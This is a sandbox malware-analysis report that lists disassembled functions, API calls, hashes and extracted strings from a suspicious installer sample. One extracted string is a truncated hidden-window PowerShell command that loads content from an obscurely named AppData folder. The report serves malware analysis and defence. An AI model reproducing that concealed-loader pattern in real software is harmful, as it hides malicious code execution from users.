Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction ID: 155326c85e208380d9db810c36285a9e1b4200be200639c8195ffcf147e959ee
Opcode Fuzzy Hash: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction Fuzzy Hash: BEC092B2000200EFE301CF80CB09F067BE8AF54306F028068E185DA060C7788840CB29

Function 004044C7 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction ID: 26063d6d883ff380d2e1d7f9fe2b9d631bf033e6200e0a233fd0d302f8c02db7
Opcode Fuzzy Hash: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction Fuzzy Hash: 5BB01235286A00FBDE614B00DE09F457E62F764B01F048078F741240F0CAB300B5DF19

Function 00403590 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040328E,?), ref: 0040359E

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Function 004044B4 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040428B), ref: 004044BE

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
Instruction ID: 97f05af551d2e904d84950d91e3a9b28448307360fbef328a82585e9573e9e03
Opcode Fuzzy Hash: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
Instruction Fuzzy Hash: DBA001B6604500ABDE129F61EF09D0ABB72EBA4B02B418579A28590034CA365961FB1D

Function 00401FA4 Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 004055A4: lstrlenW.KERNEL32(Crenature,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,Crenature,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(Crenature,00403040,00403040,Crenature,00000000,00000000,00000000), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(Crenature,Crenature), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Part of subcall function 00405B25: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,Error launching installer), ref: 00405B4E
Part of subcall function 00405B25: CloseHandle.KERNEL32(?), ref: 00405B5B

CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 00401FEB

Part of subcall function 004069DC: WaitForSingleObject.KERNEL32(?,00000064), ref: 004069ED
Part of subcall function 004069DC: GetExitCodeProcess.KERNEL32(?,?), ref: 00406A0F

Part of subcall function 00406483: wsprintfW.USER32 ref: 00406490

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: 649097c66435d1c03cd0179cf19cb5899cfb12ba626a3a4f090dc973f3735317
Instruction ID: 66341155deae8ad644fb6ace1de356795f4bfdbac14da0be535d1b9f500edd4f
Opcode Fuzzy Hash: 649097c66435d1c03cd0179cf19cb5899cfb12ba626a3a4f090dc973f3735317
Instruction Fuzzy Hash: C0F09032905112EBCB20AFE5998499E73B4DF00318B21443BE912B61D1C7BC0E428A6E

Non-executed Functions

Function 00404983 Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004049D2
SetWindowTextW.USER32(00000000,?), ref: 004049FC
SHBrowseForFolderW.SHELL32(?), ref: 00404AAD
CoTaskMemFree.OLE32(00000000), ref: 00404AB8
lstrcmpiW.KERNEL32(: Completed,00423748,00000000,?,?), ref: 00404AEA
lstrcatW.KERNEL32(?,: Completed), ref: 00404AF6
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B08

Part of subcall function 00405B86: GetDlgItemTextW.USER32(?,?,00000400,00404B3F), ref: 00405B99

Part of subcall function 004067EB: CharNextW.USER32(?,*?|<>/":,00000000,00000000,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24100311.EXE.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 0040684E
Part of subcall function 004067EB: CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 0040685D
Part of subcall function 004067EB: CharNextW.USER32(?,00000000,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24100311.EXE.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406862
Part of subcall function 004067EB: CharPrevW.USER32(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24100311.EXE.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406875

GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404BCB
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404BE6

Part of subcall function 00404D3F: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE0
Part of subcall function 00404D3F: wsprintfW.USER32 ref: 00404DE9
Part of subcall function 00404D3F: SetDlgItemTextW.USER32(?,00423748), ref: 00404DFC

Strings

A, xrefs: 00404AA6
C:\Users\user\AppData\Local\Decentraliseringers\misdidived, xrefs: 00404AD3
-windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\In, xrefs: 0040499C
H7B, xrefs: 00404A80
: Completed, xrefs: 00404AE4, 00404AE9, 00404AF4

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: -windowstyle hidden "$Forglemmelser=Get-Content -Raw 'C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\In$: Completed$A$C:\Users\user\AppData\Local\Decentraliseringers\misdidived$H7B
API String ID: 2624150263-1725080449
Opcode ID: 9b50889d4655b4d9f72ca50bc35f9129308dce0b2aea78f36d334f5aa2f4ae2a
Instruction ID: 8299be71a3cc8d15b5ba292867d4bcc1bae11f059afa92557538f40593a335a7
Opcode Fuzzy Hash: 9b50889d4655b4d9f72ca50bc35f9129308dce0b2aea78f36d334f5aa2f4ae2a
Instruction Fuzzy Hash: 8EA193B1900209ABDB11AFA5DD45AAFB7B8EF84314F11803BF601B62D1D77C9941CB6D

Function 00405C4E Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,74DF3420,74DF2EE0,00000000), ref: 00405C77
lstrcatW.KERNEL32(00425750,\*.*,00425750,?,?,74DF3420,74DF2EE0,00000000), ref: 00405CBF
lstrcatW.KERNEL32(?,0040A014,?,00425750,?,?,74DF3420,74DF2EE0,00000000), ref: 00405CE2
lstrlenW.KERNEL32(?,?,0040A014,?,00425750,?,?,74DF3420,74DF2EE0,00000000), ref: 00405CE8
FindFirstFileW.KERNEL32(00425750,?,?,?,0040A014,?,00425750,?,?,74DF3420,74DF2EE0,00000000), ref: 00405CF8
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D98
FindClose.KERNEL32(00000000), ref: 00405DA7

Strings

\*.*, xrefs: 00405CB9
"C:\Users\user\Desktop\24100311.EXE.exe", xrefs: 00405C4E
PWB, xrefs: 00405CA7

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\24100311.EXE.exe"$PWB$\*.*
API String ID: 2035342205-2463432167
Opcode ID: 7a094c4c31e62123c0ccb28245e62c5b6da25e197e61fccfb0dbd789f2f2456c
Instruction ID: 388f2befc2087cc18a81576ce5b748581f321be521e7d033b0a51c5b8adb9818
Opcode Fuzzy Hash: 7a094c4c31e62123c0ccb28245e62c5b6da25e197e61fccfb0dbd789f2f2456c
Instruction Fuzzy Hash: C141CF30800A14BADB21AB65DC8DABF7678EF41718F50813BF841B51D1D77C4A82DEAE

Function 00404EFF Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 490windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F16
GetDlgItem.USER32(?,00000408), ref: 00404F23
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F6F
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404F86
SetWindowLongW.USER32(?,000000FC,00405518), ref: 00404FA0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FB4
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404FC8
SendMessageW.USER32(?,00001109,00000002), ref: 00404FDD
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FE9
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FFB
DeleteObject.GDI32(00000110), ref: 00405000
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040502B
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405037
SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D2
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405102

Part of subcall function 004044C7: SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405116
GetWindowLongW.USER32(?,000000F0), ref: 00405144
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405152
ShowWindow.USER32(?,00000005), ref: 00405162
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405263
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C5
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052DA
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052FE
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405321
ImageList_Destroy.COMCTL32(?), ref: 00405336
GlobalFree.KERNEL32(?), ref: 00405346
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053BF
SendMessageW.USER32(?,00001102,?,?), ref: 00405468
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405477
InvalidateRect.USER32(?,00000000,00000001), ref: 004054A1
ShowWindow.USER32(?,00000000), ref: 004054EF
GetDlgItem.USER32(?,000003FE), ref: 004054FA
ShowWindow.USER32(00000000), ref: 00405501

Strings

M, xrefs: 004050BA
N, xrefs: 0040519E
, xrefs: 004054D9

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 50828e4a68aa5ede264786db028a64b485a6342807f1fbc80fc3cba1a8e401c8
Instruction ID: 51cb895bf96748e94aa34dbd086816f234b0803d1cad36f3447be88a3ed44bf2
Opcode Fuzzy Hash: 50828e4a68aa5ede264786db028a64b485a6342807f1fbc80fc3cba1a8e401c8
Instruction Fuzzy Hash: 0C126970900609EFDF209FA5DC45AAE7BB5FB44314F10817AEA10BA2E1D7798A52CF58

Function 00404651 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004046EF
GetDlgItem.USER32(?,000003E8), ref: 00404703
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404720
GetSysColor.USER32(?), ref: 00404731
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040473F
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040474D
lstrlenW.KERNEL32(?), ref: 00404752
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040475F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404774
GetDlgItem.USER32(?,0000040A), ref: 004047CD
SendMessageW.USER32(00000000), ref: 004047D4
GetDlgItem.USER32(?,000003E8), ref: 004047FF
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404842
LoadCursorW.USER32(00000000,00007F02), ref: 00404850
SetCursor.USER32(00000000), ref: 00404853
LoadCursorW.USER32(00000000,00007F00), ref: 0040486C
SetCursor.USER32(00000000), ref: 0040486F
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040489E
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048B0

Strings

N, xrefs: 004047ED
: Completed, xrefs: 0040482E

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: : Completed$N
API String ID: 3103080414-2140067464
Opcode ID: 109bfc3f4ae54697b435cbc64e06ea45ef072446bfa87c0e9d4d0ff38833786b
Instruction ID: 9740ae806e86bdd9a5d1823962a5ed5927fd13c96e858ba55e5d087808badbab
Opcode Fuzzy Hash: 109bfc3f4ae54697b435cbc64e06ea45ef072446bfa87c0e9d4d0ff38833786b
Instruction Fuzzy Hash: EE6193B1900209FFDB10AF60DD85E6A7B69FB84314F00853AFA05B62D1D7789D51CF98

Function 00406188 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406323,?,?), ref: 004061C3
GetShortPathNameW.KERNEL32(?,00426DE8,00000400), ref: 004061CC

Part of subcall function 00405F97: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA7
Part of subcall function 00405F97: lstrlenA.KERNEL32(00000000,?,00000000,0040627C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD9

GetShortPathNameW.KERNEL32(?,004275E8,00000400), ref: 004061E9
wsprintfA.USER32 ref: 00406207
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406242
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406251
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406289
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 004062DF
